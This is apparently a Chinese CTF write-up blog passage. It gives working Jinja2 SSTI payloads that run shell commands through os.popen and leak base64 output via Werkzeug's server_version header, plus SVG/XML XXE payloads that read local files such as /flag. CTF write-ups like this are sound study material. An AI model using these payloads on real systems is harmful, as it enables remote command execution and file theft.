原理就先不讲了,后面更新ssti总结的时候再写

这里直接给出payload,这里稍微解释一下,因为在server层是不允许换行符存在的,你直接打ls /会报错,所以需要转换成base64编码并且加上-w0(-w0禁用换行符)

1
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('ls${IFS}/${IFS}|${IFS}base64${IFS}-w0').read())}}

image-20260106222334686

image-20260106222755001

运行readflag同理

1
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('/zzz_readflag${IFS}|${IFS}base64${IFS}-w0').read())}}

image-20260106223131958

西纳普斯的许愿碑

知识点:python沙箱逃逸

直接给了源码

有点难,先放放

Image Viewer

知识点:利用svg进行xxe和xss

xss的时候经常会有svg标签,其实svg这个图片格式是基于xml的二维矢量图格式,可以解析js代码,当然xml也可以。这样就衍生出了,svg打xss和xxe的打法

这道题存在svg+xml

image-20260107152817242

前面和xxe差不多,但是后面需要有svg的·标签,不然会报错

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#xxe

<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>

<test>&ddd;</test>



#svg xxe

<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///flag">
]>
<svg height="220" width="574">
  <text x="10" y="20">&ddd;</text>
</svg>

image-20260107161112396

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计